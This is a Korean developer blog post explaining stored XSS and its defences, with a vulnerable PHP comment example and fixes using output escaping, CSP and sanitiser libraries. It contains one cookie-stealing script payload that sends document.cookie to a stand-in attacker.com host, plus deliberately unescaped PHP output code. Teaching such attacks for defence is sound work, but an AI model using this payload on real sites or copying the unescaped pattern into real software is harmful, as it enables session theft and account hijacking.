Programing/보안

Stored XSS 공격 방식과 대응 전략: 저장형 XSS의 구조와 보안 실수들 (Stored XSS Attack and Defense)

2025. 6. 19. 05:48
반응형

Stored XSS 웹사이트 하이재킹 예시

 

웹 애플리케이션 보안에서 "Stored XSS(저장형 XSS)"는 특히 심각한 위협 중 하나로 분류됩니다. 이 방식은 공격자가 삽입한 악성 스크립트가 데이터베이스나 로그 파일 등에 저장된 뒤, 여러 사용자에게 반복적으로 노출되는 특징을 가집니다. 단발적인 Reflected XSS와 달리, 한 번의 삽입으로 지속적인 피해를 유발할 수 있어 기업의 신뢰도와 사용자 안전 모두에 심각한 타격을 줄 수 있습니다.


Stored XSS란?

"Stored XSS"는 사용자의 입력값이 서버나 데이터베이스에 저장된 뒤, 검증 없이 페이지에 다시 출력되면서 악성 스크립트가 실행되는 구조를 의미합니다. 다음과 같은 환경에서 주로 발생합니다:

  • 댓글 시스템: 사용자가 게시한 댓글 내용이 그대로 출력되는 경우
  • 사용자 프로필: 소개글, 닉네임, 상태 메시지 등에 스크립트 삽입 가능
  • 게시판/피드: 제목 또는 본문 내용에 스크립트 삽입

공격자는 의도적으로 스크립트를 삽입한 데이터를 저장하고, 피해자가 이를 브라우저를 통해 열람할 때 자동 실행되도록 유도합니다. 이 과정에서 쿠키 탈취, 계정 탈취, 악성 사이트로의 리디렉션 등 다양한 피해가 발생할 수 있습니다.


실전 공격 시나리오

예시: 사용자가 작성한 댓글 입력 폼이 다음과 같다고 가정합니다.

<!-- 게시판 댓글 입력 폼 -->
<form method="POST" action="comment.php">
  <textarea name="comment"></textarea>
  <button type="submit">댓글 등록</button>
</form>
// comment.php
$comment = $_POST['comment'];
save_to_database($comment); // DB에 저장

이후 댓글 목록을 보여줄 때:

// comment_list.php
$result = get_comments_from_db();
foreach ($result as $row) {
  echo "<p>{$row['comment']}</p>";
}

공격자가 아래와 같은 입력을 했다면:

<script>document.location='http://attacker.com/steal.php?cookie=' + document.cookie</script>

이 스크립트는 해당 댓글을 보는 모든 사용자에게 실행되며, 결과적으로 사용자의 인증 쿠키가 외부로 전송될 수 있습니다.


취약한 코드 vs 안전한 코드

취약 예제

// 출력 시 필터링 누락
echo "<p>{$_POST['comment']}</p>";

보완된 코드 예제

// htmlspecialchars 적용으로 XSS 방지
$safe_comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
echo "<p>{$safe_comment}</p>";

또는 JavaScript 출력 시에는 textContent 속성을 활용하여 DOM 삽입을 안전하게 처리할 수 있습니다:

const comment = document.createTextNode(userInput);
document.querySelector('#comment-box').appendChild(comment);

대응 전략: 개발 시 반드시 고려해야 할 보안 조치

1. 입력값 정제(Input Sanitization)

  • 저장 전에 입력값에서 <, >, script, onload 등 잠재적으로 위험한 문자열을 필터링하거나 제거
  • WAF(Web Application Firewall) 활용 시 자동으로 알려진 공격 패턴 차단 가능

2. 출력 이스케이프(Output Encoding)

  • HTML 문맥: htmlspecialchars, htmlentities
  • JavaScript 문맥: escape 처리 또는 DOM API로 안전하게 삽입
  • JSON 문맥: json_encode, JSON.stringify

3. 보안 응답 헤더 적용

  • Content-Security-Policy(CSP): 스크립트 실행 출처 제한
  • X-XSS-Protection: 브라우저의 기본 XSS 필터 활성화 (일부 브라우저에서만 지원)

4. 사용자 입력 허용 범위 제한

  • 예: 댓글에서 태그를 일부 허용하고 싶다면, HTMLPurifier, DOMPurify 등 전문 라이브러리로 화이트리스트 기반 필터링 적용

마무리: 저장형 XSS에 대한 경각심

Stored XSS는 "한 번의 공격"으로 "다수의 피해자"에게 영향을 줄 수 있다는 점에서, 개발자와 보안 담당자가 반드시 경계해야 할 취약점입니다. Reflected XSS보다 탐지와 방어가 까다롭고, 피해 범위도 크기 때문에 입력 단계에서의 정제와 출력 단계에서의 철저한 이스케이프 처리는 선택이 아닌 필수입니다.

특히 사용자 참여형 콘텐츠(게시판, 댓글, 리뷰 등)를 제공하는 사이트는 반드시 저장형 XSS에 대한 점검 루틴을 구축하고, CSP나 필터링 정책을 정기적으로 보완해 나가야 합니다.


참고 문서

  • OWASP Stored XSS
  • Mozilla - XSS 개요
반응형

'Programing > 보안' 카테고리의 다른 글

DOM-based XSS 완벽 가이드: 클라이언트 측에서 발생하는 XSS의 이해와 대응 (DOM-based XSS Guide)  (1) 2025.06.19
Reflected XSS 공격 방식과 대응법: 반사형 XSS의 원리와 예시 (Reflected XSS Attack Method and Mitigation)  (1) 2025.06.19
XSS 공격 사례 정리: 실무에서 발생한 웹 보안 사고들 (XSS Attack Cases in Practice)  (2) 2025.06.17
웹사이트 보안 XSS란 무엇인가? Cross-Site Scripting 기본 개념과 동작 방식  (0) 2025.06.17
'Programing/보안' 카테고리의 다른 글
  • DOM-based XSS 완벽 가이드: 클라이언트 측에서 발생하는 XSS의 이해와 대응 (DOM-based XSS Guide)
  • Reflected XSS 공격 방식과 대응법: 반사형 XSS의 원리와 예시 (Reflected XSS Attack Method and Mitigation)
  • XSS 공격 사례 정리: 실무에서 발생한 웹 보안 사고들 (XSS Attack Cases in Practice)
  • 웹사이트 보안 XSS란 무엇인가? Cross-Site Scripting 기본 개념과 동작 방식
Dongkkase
Dongkkase
개발자로 일하면서 부딪히는 문제풀이가 누군가에게 도움이 되길 바라며
    반응형
  • Dongkkase
    정집사의 개발로그
    Dongkkase
  • 전체
    오늘
    어제
    • All (478)
      • 금융 (61)
      • Programing (295)
        • Algorithm (39)
        • API (2)
        • javascript (122)
        • CSS (8)
        • HTML (10)
        • PHP (15)
        • JAVA (27)
        • JSP (17)
        • JSP 예제 (1)
        • IOS (1)
        • Android (1)
        • Sencha Touche (1)
        • bat file, cmd (0)
        • 디버깅 (2)
        • SQL (21)
        • MS-SQL (1)
        • MySQL (13)
        • 보안 (5)
      • Server (14)
        • Docker (1)
        • Windows (9)
        • Linux (3)
        • jeus (1)
      • Database (6)
      • IT 일반 (15)
      • 리뷰 (38)
        • Book (17)
        • 제품 (2)
        • 영화 소개 (11)
        • 음악 소개 (7)
      • 잡생각 (36)
        • 회고 (3)
        • 컬럼 (4)
        • 자료실 (6)
        • 낙서장 (12)
        • 위시리스트 (2)
        • WOW (1)
        • 덕 (1)
  • 인기 글

  • 최근 댓글

  • 태그

    IT·컴퓨터
    자바스크립트
    SQL
    JavaScript
    IT 관련
    기초
    js패턴
    블로그
    php
    자바
    jsp
    위시리스트
    디자인패턴
    자바스크립트유틸
    Java
    IT블로그
    It
    사고 싶은 책
    읽고 싶은 책
    iT's MY LiFE
Dongkkase
Stored XSS 공격 방식과 대응 전략: 저장형 XSS의 구조와 보안 실수들 (Stored XSS Attack and Defense)
상단으로

티스토리툴바